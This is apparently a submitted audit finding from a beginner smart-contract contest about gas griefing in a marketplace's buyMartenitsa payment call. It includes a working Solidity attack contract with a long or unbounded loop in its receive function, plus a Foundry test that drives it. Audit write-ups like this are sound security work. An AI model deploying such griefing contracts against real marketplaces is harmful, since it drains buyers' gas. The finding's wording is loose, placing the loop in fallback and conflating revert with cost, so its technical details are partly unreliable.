First Flight #13: Baba Marta
First Flight #13
Beginner FriendlyFoundryGameFi
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Arbitrary call to a Malicious external contract in `MartenitsaMarketplace::buyMartenitsa` may cost the user extremely high gasfee

codexbugmenot

Summary

MartenitsaMarketplace::buyMartenitsa function sends the funds to the seller through an external call to seller i.e seller.call{value: salePrice}("") if the seller is a contract with an unbounded loop in seller::fallback function the transaction reverts it costs the user a lot of gas

Impact

User can potentially lose a lot of funds in terms of gas fee is he tries to buy a token from a malicious seller

Proof of Concept

Add the given state variables in BaseTest.t.sol

​
GasAttack public gasAttack;

Add the given piece of code in BaseTest.t.sol's BaseTest::setUp function below the martenitsaEvent variable initialisation

​
// add after this ---> martenitsaEvent = new MartenitsaEvent(address(healthToken));
gasAttack = new GasAttack(marketplace, martenitsaToken);
producers.push(address(gasAttack));
​

Add the given contract code in BaseTest.t.sol after the BaseTest contract ends

​
contract GasAttack is IERC721Receiver {
MartenitsaMarketplace public marketplace;
MartenitsaToken public martenitsaToken;
bool flag;
​
constructor(MartenitsaMarketplace _marketplace, MartenitsaToken _martenitsaToken) {
marketplace = _marketplace;
martenitsaToken = _martenitsaToken;
}
​
function attack() public {
marketplace.listMartenitsaForSale(0, 5 wei);
martenitsaToken.approve(address(marketplace), 0);
}
​
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data)
external
pure
returns (bytes4)
{
return this.onERC721Received.selector;
}
​
receive() external payable {
if (msg.sender == address(marketplace) && flag == false) {
uint256 x = 0;
uint256 limit = 1000000;
// change while loop condition to while(true) for maximum gas attack impact
while (x < limit) {
x++;
}
}
}
​
fallback() external payable {}
}
​
​
​

Import {console} in MartenitsaMarketplace.t.sol

import {console} from "forge-std/Test.sol";

Add the PoC below in MartenitsaMarketplace.t.sol change the value of limit in GasAttack::fallback the more the limit value the more the gas consumed,alternatively changing the while loop condition to while(true) will show the full scope of the gas attack

PoC:Buy Martenitsa Gas Attack
​
function testBuyMartenitsaGasAttack() public {
vm.startPrank(address(gasAttack));
martenitsaToken.createMartenitsa("bracelet");
martenitsaToken.createMartenitsa("bracelet");
marketplace.listMartenitsaForSale(0, 1 wei);
martenitsaToken.approve(address(marketplace), 0);
vm.stopPrank();
​
uint256 GasBefore = gasleft();
vm.startPrank(bob);
​
marketplace.buyMartenitsa{value: 1 wei}(0);
​
uint256 GasAfter = gasleft();
​
console.log("Gas used:", GasBefore - GasAfter);
}

Recommendations

For payments pulling is always better than pushing hence instead of user directly sending funds to the seller by making an arbitrary call adding a MartenitsaMarketplacewithdraw function where a seller can withdraw his funds and users can send funds to MartenitsaMarketplace contract itself is a better design choice , also make sure that the new function follows the Checks-Effects-Interactions(CEI) pattern and has necessary guards in place like OpenZeppelinReentrancyGuard

Updates

Lead Judging Commences

bube Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.